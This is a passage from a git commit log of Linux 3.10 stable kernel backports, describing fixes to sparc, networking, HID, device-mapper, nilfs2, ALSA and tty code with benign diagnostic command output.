Upstream commit 2077cef4d5c29cf886192ec32066f783d6a80db8 ] Firstly, handle zero length calls properly. Believe it or not there are a few of these happening during early boot. Next, we can't just drop to a memcpy() call in the forward copy case where dst <= src. The reason is that the cache initializing stores used in the Niagara memcpy() implementations can end up clearing out cache lines before we've sourced their original contents completely. For example, considering NG4memcpy, the main unrolled loop begins like this: load src + 0x00 load src + 0x08 load src + 0x10 load src + 0x18 load src + 0x20 store dst + 0x00 Assume dst is 64 byte aligned and let's say that dst is src - 8 for this memcpy() call. That store at the end there is the one to the first line in the cache line, thus clearing the whole line, which thus clobbers "src + 0x28" before it even gets loaded. To avoid this, just fall through to a simple copy only mildly optimized for the case where src and dst are 8 byte aligned and the length is a multiple of 8 as well. We could get fancy and call GENmemcpy() but this is good enough for how this thing is actually used. Reported-by: David Ahern Reported-by: Bob Picco Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5470785bf0ee659e20c4719e8792637399fdc6d8 Author: David Ahern Date: Thu Mar 19 16:06:53 2015 -0400 sparc: Touch NMI watchdog when walking cpus and calling printk [ Upstream commit 31aaa98c248da766ece922bbbe8cc78cfd0bc920 ] With the increase in number of CPUs calls to functions that dump output to console (e.g., arch_trigger_all_cpu_backtrace) can take a long time to complete. If IRQs are disabled eventually the NMI watchdog kicks in and creates more havoc. Avoid by telling the NMI watchdog everything is ok. Signed-off-by: David Ahern Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 478a3f6297edb29eaee47a1ab727e1ea703d6807 Author: David Ahern Date: Thu Mar 19 16:06:17 2015 -0400 sparc: perf: Make counting mode actually work [ Upstream commit d51291cb8f32bfae6b331e1838651f3ddefa73a5 ] Currently perf-stat (aka, counting mode) does not work: $ perf stat ls ... Performance counter stats for 'ls': 1.585665 task-clock (msec) # 0.580 CPUs utilized 24 context-switches # 0.015 M/sec 0 cpu-migrations # 0.000 K/sec 86 page-faults # 0.054 M/sec cycles stalled-cycles-frontend stalled-cycles-backend instructions branches branch-misses 0.002735100 seconds time elapsed The reason is that state is never reset (stays with PERF_HES_UPTODATE set). Add a call to sparc_pmu_enable_event during the added_event handling. Clean up the encoding since pmu_start calls sparc_pmu_enable_event which does the same. Passing PERF_EF_RELOAD to sparc_pmu_start means the call to sparc_perf_event_set_period can be removed as well. With this patch: $ perf stat ls ... Performance counter stats for 'ls': 1.552890 task-clock (msec) # 0.552 CPUs utilized 24 context-switches # 0.015 M/sec 0 cpu-migrations # 0.000 K/sec 86 page-faults # 0.055 M/sec 5,748,997 cycles # 3.702 GHz stalled-cycles-frontend:HG stalled-cycles-backend:HG 1,684,362 instructions:HG # 0.29 insns per cycle 295,133 branches:HG # 190.054 M/sec 28,007 branch-misses:HG # 9.49% of all branches 0.002815665 seconds time elapsed Signed-off-by: David Ahern Acked-by: Bob Picco Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f625a586af5b75bf4f9de532a44c4eb18fea6e31 Author: David Ahern Date: Thu Mar 19 16:05:57 2015 -0400 sparc: perf: Remove redundant perf_pmu_{en|dis}able calls [ Upstream commit 5b0d4b5514bbcce69b516d0742f2cfc84ebd6db3 ] perf_pmu_disable is called by core perf code before pmu->del and the enable function is called by core perf code afterwards. No need to call again within sparc_pmu_del. Ditto for pmu->add and sparc_pmu_add. Signed-off-by: David Ahern Acked-by: Bob Picco Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9086b4042e30baffda78ab9839d90277f63b2867 Author: Rob Gardner Date: Mon Mar 2 23:16:55 2015 -0700 sparc: semtimedop() unreachable due to comparison error [ Upstream commit 53eb2516972b8c4628651dfcb926cb9ef8b2864a ] A bug was reported that the semtimedop() system call was always failing eith ENOSYS. Since SEMCTL is defined as 3, and SEMTIMEDOP is defined as 4, the comparison "call <= SEMCTL" will always prevent SEMTIMEDOP from getting through to the semaphore ops switch statement. This is corrected by changing the comparison to "call <= SEMTIMEDOP". Orabug: 20633375 Signed-off-by: Rob Gardner Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 21e49ec1ef72fb512dff1a255fc275457884378d Author: Andreas Larsson Date: Thu Dec 18 13:23:23 2014 +0100 sparc32: destroy_context() and switch_mm() needs to disable interrupts. [ Upstream commit 66d0f7ec9f1038452178b1993fc07fd96d30fd38 ] Load balancing can be triggered in the critical sections protected by srmmu_context_spinlock in destroy_context() and switch_mm() and can hang the cpu waiting for the rq lock of another cpu that in turn has called switch_mm hangning on srmmu_context_spinlock leading to deadlock. So, disable interrupt while taking srmmu_context_spinlock in destroy_context() and switch_mm() so we don't deadlock. See also commit 77b838fa1ef0 ("[SPARC64]: destroy_context() needs to disable interrupts.") Signed-off-by: Andreas Larsson Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c2a80dee3802c89a2b59ec1cac7747d040e94636 Author: Alexander Drozdov Date: Thu Mar 5 10:29:39 2015 +0300 ipv4: ip_check_defrag should not assume that skb_network_offset is zero [ Upstream commit 3e32e733d1bbb3f227259dc782ef01d5706bdae0 ] ip_check_defrag() may be used by af_packet to defragment outgoing packets. skb_network_offset() of af_packet's outgoing packets is not zero. Signed-off-by: Alexander Drozdov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cfb867bcf0384be4d5745851ef5af5173be2adc2 Author: Alexander Drozdov Date: Tue Feb 17 13:33:46 2015 +0300 ipv4: ip_check_defrag should correctly check return value of skb_copy_bits [ Upstream commit fba04a9e0c869498889b6445fd06cbe7da9bb834 ] skb_copy_bits() returns zero on success and negative value on error, so it is needed to invert the condition in ip_check_defrag(). Fixes: 1bf3751ec90c ("ipv4: ip_check_defrag must not modify skb before unsharing") Signed-off-by: Alexander Drozdov Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5fe1d31838a7e1a54cecb3a674419cfcf9e16c7f Author: Ignacy GawÄ™dzki Date: Fri Feb 13 14:47:05 2015 -0800 gen_stats.c: Duplicate xstats buffer for later use [ Upstream commit 1c4cff0cf55011792125b6041bc4e9713e46240f ] The gnet_stats_copy_app() function gets called, more often than not, with its second argument a pointer to an automatic variable in the caller's stack. Therefore, to avoid copying garbage afterwards when calling gnet_stats_finish_copy(), this data is better copied to a dynamically allocated memory that gets freed after use. [xiyou.wangcong@gmail.com: remove a useless kfree()] Signed-off-by: Ignacy GawÄ™dzki Signed-off-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e2343675e990c0b854fd990f7e0b82d534f9b3e1 Author: WANG Cong Date: Fri Feb 13 13:56:53 2015 -0800 rtnetlink: call ->dellink on failure when ->newlink exists [ Upstream commit 7afb8886a05be68e376655539a064ec672de8a8e ] Ignacy reported that when eth0 is down and add a vlan device on top of it like: ip link add link eth0 name eth0.1 up type vlan id 1 We will get a refcount leak: unregister_netdevice: waiting for eth0.1 to become free. Usage count = 2 The problem is when rtnl_configure_link() fails in rtnl_newlink(), we simply call unregister_device(), but for stacked device like vlan, we almost do nothing when we unregister the upper device, more work is done when we unregister the lower device, so call its ->dellink(). Reported-by: Ignacy Gawedzki Signed-off-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 15336f72226dcccd3eeb7fcda1108a126f584b66 Author: Martin KaFai Lau Date: Thu Feb 12 16:14:08 2015 -0800 ipv6: fix ipv6_cow_metrics for non DST_HOST case [ Upstream commit 3b4711757d7903ab6fa88a9e7ab8901b8227da60 ] ipv6_cow_metrics() currently assumes only DST_HOST routes require dynamic metrics allocation from inetpeer. The assumption breaks when ndisc discovered router with RTAX_MTU and RTAX_HOPLIMIT metric. Refer to ndisc_router_discovery() in ndisc.c and note that dst_metric_set() is called after the route is created. This patch creates the metrics array (by calling dst_cow_metrics_generic) in ipv6_cow_metrics(). Test: radvd.conf: interface qemubr0 { AdvLinkMTU 1300; AdvCurHopLimit 30; prefix fd00:face:face:face::/64 { AdvOnLink on; AdvAutonomous on; AdvRouterAddr off; }; }; Before: [root@qemu1 ~]# ip -6 r show | egrep -v unreachable fd00:face:face:face::/64 dev eth0 proto kernel metric 256 expires 27sec fe80::/64 dev eth0 proto kernel metric 256 default via fe80::74df:d0ff:fe23:8ef2 dev eth0 proto ra metric 1024 expires 27sec After: [root@qemu1 ~]# ip -6 r show | egrep -v unreachable fd00:face:face:face::/64 dev eth0 proto kernel metric 256 expires 27sec mtu 1300 fe80::/64 dev eth0 proto kernel metric 256 mtu 1300 default via fe80::74df:d0ff:fe23:8ef2 dev eth0 proto ra metric 1024 expires 27sec mtu 1300 hoplimit 30 Fixes: 8e2ec639173f325 (ipv6: don't use inetpeer to store metrics for routes.) Signed-off-by: Martin KaFai Lau Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 09d13c2b2a30dab6eb7c4c93d8c7d10fc4caf47f Author: Daniel Borkmann Date: Thu Feb 5 18:44:04 2015 +0100 rtnetlink: ifla_vf_policy: fix misuses of NLA_BINARY [ Upstream commit 364d5716a7adb91b731a35765d369602d68d2881 ] ifla_vf_policy[] is wrong in advertising its individual member types as NLA_BINARY since .type = NLA_BINARY in combination with .len declares the len member as *max* attribute length [0, len]. The issue is that when do_setvfinfo() is being called to set up a VF through ndo handler, we could set corrupted data if the attribute length is less than the size of the related structure itself. The intent is exactly the opposite, namely to make sure to pass at least data of minimum size of len. Fixes: ebc08a6f47ee ("rtnetlink: Add VF config code to rtnetlink") Cc: Mitch Williams Cc: Jeff Kirsher Signed-off-by: Daniel Borkmann Acked-by: Thomas Graf Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a6bed6a0ed5d97abd0919293aca6774b9f3cf498 Author: Greg Kroah-Hartman Date: Wed Mar 18 13:22:50 2015 +0100 Linux 3.10.72 Signed-off-by: Pranav Vashi commit 5c513ce262078c6481a243d12c50ad3b7eb3c9d1 Author: Sergey Ryazanov Date: Wed Feb 4 00:21:13 2015 +0300 ath5k: fix spontaneus AR5312 freezes commit 8bfae4f9938b6c1f033a5159febe97e441d6d526 upstream. Sometimes while CPU have some load and ath5k doing the wireless interface reset the whole WiSoC completely freezes. Set of tests shows that using atomic delay function while we wait interface reset helps to avoid such freezes. The easiest way to reproduce this issue: create a station interface, start continous scan with wpa_supplicant and load CPU by something. Or just create multiple station interfaces and put them all in continous scan. This patch partially reverts the commit 1846ac3dbec0 ("ath5k: Use usleep_range where possible"), which replaces initial udelay() by usleep_range(). I do not know actual source of this issue, but all looks like that HW freeze is caused by transaction on internal SoC bus, while wireless block is in reset state. Also I should note that I do not know how many chips are affected, but I did not see this issue with chips, other than AR5312. CC: Jiri Slaby CC: Nick Kossifidis CC: Luis R. Rodriguez Fixes: 1846ac3dbec0 ("ath5k: Use usleep_range where possible") Reported-by: Christophe Prevotaux Tested-by: Christophe Prevotaux Tested-by: Eric Bree Signed-off-by: Sergey Ryazanov Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 49af1c2dbeb32eb85b30692920e71cfc5654e5be Author: Chris Wilson Date: Sun Mar 1 10:41:37 2015 +0000 ACPI / video: Load the module even if ACPI is disabled commit 6e17cb12881ba8d5e456b89f072dc6b70048af36 upstream. i915.ko depends upon the acpi/video.ko module and so refuses to load if ACPI is disabled at runtime if for example the BIOS is broken beyond repair. acpi/video provides an optional service for i915.ko and so we should just allow the modules to load, but do no nothing in order to let the machines boot correctly. Reported-by: Bill Augur Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: Jani Nikula Acked-by: Aaron Lu [ rjw: Fixed up the new comment in acpi_video_init() ] Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 71fc8322a822d16fb3c9d32ac44e48d2dd53c34b Author: Alex Deucher Date: Thu Feb 19 16:02:15 2015 -0500 drm/radeon: fix 1 RB harvest config setup for TN/RL commit dbfb00c3e7e18439f2ebf67fe99bf7a50b5bae1e upstream. The logic was reversed from what the hw actually exposed. Fixes graphics corruption in certain harvest configurations. Signed-off-by: Alex Deucher Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e81cb19cb0508ea840a49295343fb3bd2cd9ab9c Author: Fernando Soto Date: Fri Jun 14 23:13:35 2013 +0000 Drivers: hv: vmbus: incorrect device name is printed when child device is unregistered commit 84672369ffb98a51d4ddf74c20a23636da3ad615 upstream. Whenever a device is unregistered in vmbus_device_unregister (drivers/hv/vmbus_drv.c), the device name in the log message may contain garbage as the memory has already been freed by the time pr_info is called. Log example: [ 3149.170475] hv_vmbus: child device àõsèè0_5 unregistered By logging the message just before calling device_unregister, the correct device name is printed: [ 3145.034652] hv_vmbus: child device vmbus_0_5 unregistered Also changing register & unregister messages to debug to avoid unnecessarily cluttering the kernel log. Signed-off-by: Fernando M Soto Signed-off-by: K. Y. Srinivasan Cc: Joseph Salisbury Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1073d955de44786265ee6490dc50ccd5ee420b13 Author: Jiri Kosina Date: Tue Jan 6 22:34:19 2015 +0100 HID: fixup the conflicting keyboard mappings quirk commit 8e7b341037db1835ee6eea64663013cbfcf33575 upstream. The ignore check that got added in 6ce901eb61 ("HID: input: fix confusion on conflicting mappings") needs to properly check for VARIABLE reports as well (ARRAY reports should be ignored), otherwise legitimate keyboards might break. Fixes: 6ce901eb61 ("HID: input: fix confusion on conflicting mappings") Reported-by: Fredrik Hallenberg Reported-by: David Herrmann Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6c5ce55105083954eb5bb7e07f400ae64d041574 Author: David Herrmann Date: Mon Dec 29 15:21:26 2014 +0100 HID: input: fix confusion on conflicting mappings commit 6ce901eb61aa30ba8565c62049ee80c90728ef14 upstream. On an PC-101/103/104 keyboard (American layout) the 'Enter' key and its neighbours look like this: +---+ +---+ +-------+ | 1 | | 2 | | 5 | +---+ +---+ +-------+ +---+ +-----------+ | 3 | | 4 | +---+ +-----------+ On a PC-102/105 keyboard (European layout) it looks like this: +---+ +---+ +-------+ | 1 | | 2 | | | +---+ +---+ +-+ 4 | +---+ +---+ | | | 3 | | 5 | | | +---+ +---+ +-----+ (Note that the number of keys is the same, but key '5' is moved down and the shape of key '4' is changed. Keys '1' to '3' are exactly the same.) The keys 1-4 report the same scan-code in HID in both layouts, even though the keysym they produce is usually different depending on the XKB-keymap used by user-space. However, key '5' (US 'backslash'/'pipe') reports 0x31 for the upper layout and 0x32 for the lower layout, as defined by the HID spec. This is highly confusing as the linux-input API uses a single keycode for both. So far, this was never a problem as there never has been a keyboard with both of those keys present at the same time. It would have to look something like this: +---+ +---+ +-------+ | 1 | | 2 | | x31 | +---+ +---+ +-------+ +---+ +---+ +-----+ | 3 | |x32| | 4 | +---+ +---+ +-----+ HID can represent such a keyboard, but the linux-input API cannot. Furthermore, any user-space mapping would be confused by this and, luckily, no-one ever produced such hardware. Now, the HID input layer fixed this mess by mapping both 0x31 and 0x32 to the same keycode (KEY_BACKSLASH==0x2b). As only one of both physical keys is present on a hardware, this works just fine. Lets introduce hardware-vendors into this: ------------------------------------------ Unfortunately, it seems way to expensive to produce a different device for American and European layouts. Therefore, hardware-vendors put both keys, (0x31 and 0x32) on the same keyboard, but only one of them is hooked up to the physical button, the other one is 'dead'. This means, they can use the same hardware, with a different button-layout and automatically produce the correct HID events for American *and* European layouts. This is unproblematic for normal keyboards, as the 'dead' key will never report any KEY-DOWN events. But RollOver keyboards send the whole matrix on each key-event, allowing n-key roll-over mode. This means, we get a 0x31 and 0x32 event on each key-press. One of them will always be 0, the other reports the real state. As we map both to the same keycode, we will get spurious key-events, even though the real key-state never changed. The easiest way would be to blacklist 'dead' keys and never handle those. We could simply read the 'country' tag of USB devices and blacklist either key according to the layout. But... hardware vendors... want the same device for all countries and thus many of them set 'country' to 0 for all devices. Meh.. So we have to deal with this properly. As we cannot know which of the keys is 'dead', we either need a heuristic and track those keys, or we simply make use of our value-tracking for HID fields. We simply ignore HID events for absolute data if the data didn't change. As HID tracks events on the HID level, we haven't done the keycode translation, yet. Therefore, the 'dead' key is tracked independently of the real key, therefore, any events on it will be ignored. This patch simply discards any HID events for absolute data if it didn't change compared to the last report. We need to ignore relative and buffered-byte reports for obvious reasons. But those cannot be affected by this bug, so we're fine. Preferably, we'd do this filtering on the HID-core level. But this might break a lot of custom drivers, if they do not follow the HID specs. Therefore, we do this late in hid-input just before we inject it into the input layer (which does the exact same filtering, but on the keycode level). If this turns out to break some devices, we might have to limit filtering to EV_KEY events. But lets try to do the Right Thing first, and properly filter any absolute data that didn't change. This patch is tagged for 'stable' as it fixes a lot of n-key RollOver hardware. We might wanna wait with backporting for a while, before we know it doesn't break anything else, though. Reported-by: Adam Goode Reported-by: Fredrik Hallenberg Tested-by: Fredrik Hallenberg Signed-off-by: David Herrmann Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fd9aff62fb38386a0a39e177ae5d74b1e7115040 Author: Ian Abbott Date: Mon Jan 19 14:47:27 2015 +0000 staging: comedi: cb_pcidas64: fix incorrect AI range code handling commit be8e89087ec2d2c8a1ad1e3db64bf4efdfc3c298 upstream. The hardware range code values and list of valid ranges for the AI subdevice is incorrect for several supported boards. The hardware range code values for all boards except PCI-DAS4020/12 is determined by calling `ai_range_bits_6xxx()` based on the maximum voltage of the range and whether it is bipolar or unipolar, however it only returns the correct hardware range code for the PCI-DAS60xx boards. For PCI-DAS6402/16 (and /12) it returns the wrong code for the unipolar ranges. For PCI-DAS64/Mx/16 it returns the wrong code for all the ranges and the comedi range table is incorrect. Change `ai_range_bits_6xxx()` to use a look-up table pointed to by new member `ai_range_codes` of `struct pcidas64_board` to map the comedi range table indices to the hardware range codes. Use a new comedi range table for the PCI-DAS64/Mx/16 boards (and the commented out variants). Signed-off-by: Ian Abbott Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e9534e9310061c3b1309e6211257c51b9b2741ea Author: Mikulas Patocka Date: Tue Feb 17 14:34:00 2015 -0500 dm snapshot: fix a possible invalid memory access on unload commit 22aa66a3ee5b61e0f4a0bfeabcaa567861109ec3 upstream. When the snapshot target is unloaded, snapshot_dtr() waits until pending_exceptions_count drops to zero. Then, it destroys the snapshot. Therefore, the function that decrements pending_exceptions_count should not touch the snapshot structure after the decrement. pending_complete() calls free_pending_exception(), which decrements pending_exceptions_count, and then it performs up_write(&s->lock) and it calls retry_origin_bios() which dereferences s->origin. These two memory accesses to the fields of the snapshot may touch the dm_snapshot struture after it is freed. This patch moves the call to free_pending_exception() to the end of pending_complete(), so that the snapshot will not be destroyed while pending_complete() is in progress. Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 102d3df60553426c6452e3e789cccc9b03598faf Author: Mikulas Patocka Date: Tue Feb 17 14:30:53 2015 -0500 dm: fix a race condition in dm_get_md commit 2bec1f4a8832e74ebbe859f176d8a9cb20dd97f4 upstream. The function dm_get_md finds a device mapper device with a given dev_t, increases the reference count and returns the pointer. dm_get_md calls dm_find_md, dm_find_md takes _minor_lock, finds the device, tests that the device doesn't have DMF_DELETING or DMF_FREEING flag, drops _minor_lock and returns pointer to the device. dm_get_md then calls dm_get. dm_get calls BUG if the device has the DMF_FREEING flag, otherwise it increments the reference count. There is a possible race condition - after dm_find_md exits and before dm_get is called, there are no locks held, so the device may disappear or DMF_FREEING flag may be set, which results in BUG. To fix this bug, we need to call dm_get while we hold _minor_lock. This patch renames dm_find_md to dm_get_md and changes it so that it calls dm_get while holding the lock. Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8a40749a489ef08a07e89706b3d693aa31314f74 Author: Darrick J. Wong Date: Fri Feb 13 11:05:37 2015 -0800 dm io: reject unsupported DISCARD requests with EOPNOTSUPP commit 37527b869207ad4c208b1e13967d69b8bba1fbf9 upstream. I created a dm-raid1 device backed by a device that supports DISCARD and another device that does NOT support DISCARD with the following dm configuration: # echo '0 2048 mirror core 1 512 2 /dev/sda 0 /dev/sdb 0' | dmsetup create moo # lsblk -D NAME DISC-ALN DISC-GRAN DISC-MAX DISC-ZERO sda 0 4K 1G 0 `-moo (dm-0) 0 4K 1G 0 sdb 0 0B 0B 0 `-moo (dm-0) 0 4K 1G 0 Notice that the mirror device /dev/mapper/moo advertises DISCARD support even though one of the mirror halves doesn't. If I issue a DISCARD request (via fstrim, mount -o discard, or ioctl BLKDISCARD) through the mirror, kmirrord gets stuck in an infinite loop in do_region() when it tries to issue a DISCARD request to sdb. The problem is that when we call do_region() against sdb, num_sectors is set to zero because q->limits.max_discard_sectors is zero. Therefore, "remaining" never decreases and the loop never terminates. To fix this: before entering the loop, check for the combination of REQ_DISCARD and no discard and return -EOPNOTSUPP to avoid hanging up the mirror device. This bug was found by the unfortunate coincidence of pvmove and a discard operation in the RHEL 6.5 kernel; upstream is also affected. Signed-off-by: Darrick J. Wong Acked-by: "Martin K. Petersen" Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 18ff48f4823b5ee0fe00e26d69efc4c6c033d00e Author: Mikulas Patocka Date: Thu Feb 12 10:09:20 2015 -0500 dm mirror: do not degrade the mirror on discard error commit f2ed51ac64611d717d1917820a01930174c2f236 upstream. It may be possible that a device claims discard support but it rejects discards with -EOPNOTSUPP. It happens when using loopback on ext2/ext3 filesystem driven by the ext4 driver. It may also happen if the underlying devices are moved from one disk on another. If discard error happens, we reject the bio with -EOPNOTSUPP, but we do not degrade the array. This patch fixes failed test shell/lvconvert-repair-transient.sh in the lvm2 testsuite if the testsuite is extracted on an ext2 or ext3 filesystem and it is being driven by the ext4 driver. Signed-off-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 56ba068363b16ab25f8661223bef881085ab7cb6 Author: Ian Abbott Date: Tue Jan 27 18:16:51 2015 +0000 staging: comedi: comedi_compat32.c: fix COMEDI_CMD copy back commit 42b8ce6f55facfa101462e694d33fc6bca471138 upstream. `do_cmd_ioctl()` in "comedi_fops.c" handles the `COMEDI_CMD` ioctl. This returns `-EAGAIN` if it has copied a modified `struct comedi_cmd` back to user-space. (This occurs when the low-level Comedi driver's `do_cmdtest()` handler returns non-zero to indicate a problem with the contents of the `struct comedi_cmd`, or when the `struct comedi_cmd` has the `CMDF_BOGUS` flag set.) `compat_cmd()` in "comedi_compat32.c" handles the 32-bit compatible version of the `COMEDI_CMD` ioctl. Currently, it never copies a 32-bit compatible version of `struct comedi_cmd` back to user-space, which is at odds with the way the regular `COMEDI_CMD` ioctl is handled. To fix it, change `compat_cmd()` to copy a 32-bit compatible version of the `struct comedi_cmd` back to user-space when the main ioctl handler returns `-EAGAIN`. Signed-off-by: Ian Abbott Reviewed-by: H Hartley Sweeten Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5140297c53159a25113bff76afe5e03b702f53b1 Author: Chen-Yu Tsai Date: Thu Jun 26 23:55:41 2014 +0800 clk: sunxi: Support factor clocks with N factor starting not from 0 commit 9a5e6c7eb5ccbb5f0d3a1dffce135f0a727f40e1 upstream. The PLLs on newer Allwinner SoC's, such as the A31 and A23, have a N multiplier factor that starts from 1, not 0. This patch adds an option to the factor clk driver's config data structures to specify the base value of N. Signed-off-by: Chen-Yu Tsai Acked-by: Maxime Ripard Signed-off-by: Maxime Ripard Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7d50e7073f80584dfbcfd318eee8990e693135c4 Author: Minh Duc Tran Date: Mon Feb 9 18:54:09 2015 +0000 fixed invalid assignment of 64bit mask to host dma_boundary for scatter gather segment boundary limit. commit f76a610a8b4b6280eaedf48f3af9d5d74e418b66 upstream. In reference to bug https://bugzilla.redhat.com/show_bug.cgi?id=1097141 Assert is seen with AMD cpu whenever calling pci_alloc_consistent. [ 29.406183] ------------[ cut here ]------------ [ 29.410505] kernel BUG at lib/iommu-helper.c:13! Signed-off-by: Minh Tran Fixes: 6733b39a1301b0b020bbcbf3295852e93e624cb1 Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a42af39e4b7d20cedce7060c9f658f8f0412f6ce Author: Ryusuke Konishi Date: Fri Feb 27 15:51:56 2015 -0800 nilfs2: fix potential memory overrun on inode commit 957ed60b53b519064a54988c4e31e0087e47d091 upstream. Each inode of nilfs2 stores a root node of a b-tree, and it turned out to have a memory overrun issue: Each b-tree node of nilfs2 stores a set of key-value pairs and the number of them (in "bn_nchildren" member of nilfs_btree_node struct), as well as a few other "bn_*" members. Since the value of "bn_nchildren" is used for operations on the key-values within the b-tree node, it can cause memory access overrun if a large number is incorrectly set to "bn_nchildren". For instance, nilfs_btree_node_lookup() function determines the range of binary search with it, and too large "bn_nchildren" leads nilfs_btree_node_get_key() in that function to overrun. As for intermediate b-tree nodes, this is prevented by a sanity check performed when each node is read from a drive, however, no sanity check has been done for root nodes stored in inodes. This patch fixes the issue by adding missing sanity check against b-tree root nodes so that it's called when on-memory inodes are read from ifile, inode metadata file. Signed-off-by: Ryusuke Konishi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 059ef09ce67f4c82a36bd9683f4bc5390b6ac1a8 Author: Mitko Haralanov Date: Fri Jan 16 08:55:27 2015 -0500 IB/qib: Do not write EEPROM commit 18c0b82a3e4501511b08d0e8676fb08ac08734a3 upstream. This changeset removes all the code that allows the driver to write to the EEPROM and update the recorded error counters and power on hours. These two stats are unused and writing them exposes a timing risk which could leave the EEPROM in a bad state preventing further normal operation of the HCA. Reviewed-by: Mike Marciniszyn Signed-off-by: Mitko Haralanov Signed-off-by: Mike Marciniszyn Signed-off-by: Roland Dreier Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dd3890d1b33743e90affd73b3e901595565a2df6 Author: Tony Battersby Date: Wed Feb 11 11:32:06 2015 -0500 sg: fix read() error reporting commit 3b524a683af8991b4eab4182b947c65f0ce1421b upstream. Fix SCSI generic read() incorrectly returning success after detecting an error. Signed-off-by: Tony Battersby Acked-by: Douglas Gilbert Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e5098a3a0189a985f499e56a8c3b89a75039322b Author: Takashi Iwai Date: Thu Feb 19 13:01:37 2015 +0100 ALSA: hda - Add pin configs for ASUS mobo with IDT 92HD73XX codec commit 6426460e5d87810e042962281fe3c1e8fc256162 upstream. BIOS doesn't seem to set up pins for 5.1 and the SPDIF out, so we need to give explicitly here. Reported-and-tested-by: Misan Thropos Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6e8d3645db8a60fad557ebd6ebcdd0fd33527929 Author: Takashi Iwai Date: Thu Dec 18 10:02:41 2014 +0100 ALSA: pcm: Don't leave PREPARED state after draining commit 70372a7566b5e552dbe48abdac08c275081d8558 upstream. When a PCM draining is performed to an empty stream that has been already in PREPARED state, the current code just ignores and leaves as it is, although the drain is supposed to set all such streams to SETUP state. This patch covers that overlooked case. Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 68f54e5a4707e7010eabc47e90f17698ed6c2876 Author: Jiri Slaby Date: Fri Feb 27 18:40:31 2015 +0100 tty: fix up atime/mtime mess, take four commit f0bf0bd07943bfde8f5ac39a32664810a379c7d3 upstream. This problem was taken care of three times already in * b0de59b5733d18b0d1974a060860a8b5c1b36a2e (TTY: do not update atime/mtime on read/write), * 37b7f3c76595e23257f61bd80b223de8658617ee (TTY: fix atime/mtime regression), and * b0b885657b6c8ef63a46bc9299b2a7715d19acde (tty: fix up atime/mtime mess, take three) But it still misses one point. As John Paul correctly points out, we do not care about setting date. If somebody ever changes wall time backwards (by mistake for example), tty timestamps are never updated until the original wall time passes. So check the absolute difference of times and if it large than "8 seconds or so", always update the time. That means we will update immediatelly when changing time. Ergo, CAP_SYS_TIME can foul the check, but it was always that way. Thanks John for serving me this so nicely debugged. Signed-off-by: Jiri Slaby Reported-by: John Paul Perry Acked-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95dcf1914bf195bd408dcd3553105646249d8f3b Author: Al Viro Date: Sat Mar 7 21:08:46 2015 +0000 sunrpc: fix braino in ->poll() commit 1711fd9addf214823b993468567cab1f8254fc51 upstream. POLL_OUT isn't what callers of ->poll() are expecting to see; it's actually __SI_POLL | 2 and it's a siginfo code, not a poll bitmap bit... Signed-off-by: Al Viro Cc: Bruce Fields Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 394b536817d2c613ba2b865096c94b9ced052c13 Author: Al Viro Date: Sat Feb 21 22:16:11 2015 -0500 procfs: fix race between symlink removals and traversals commit 7e0e953bb0cf649f93277ac8fb67ecbb7f7b04a9 upstream. use_pde()/unuse_pde() in 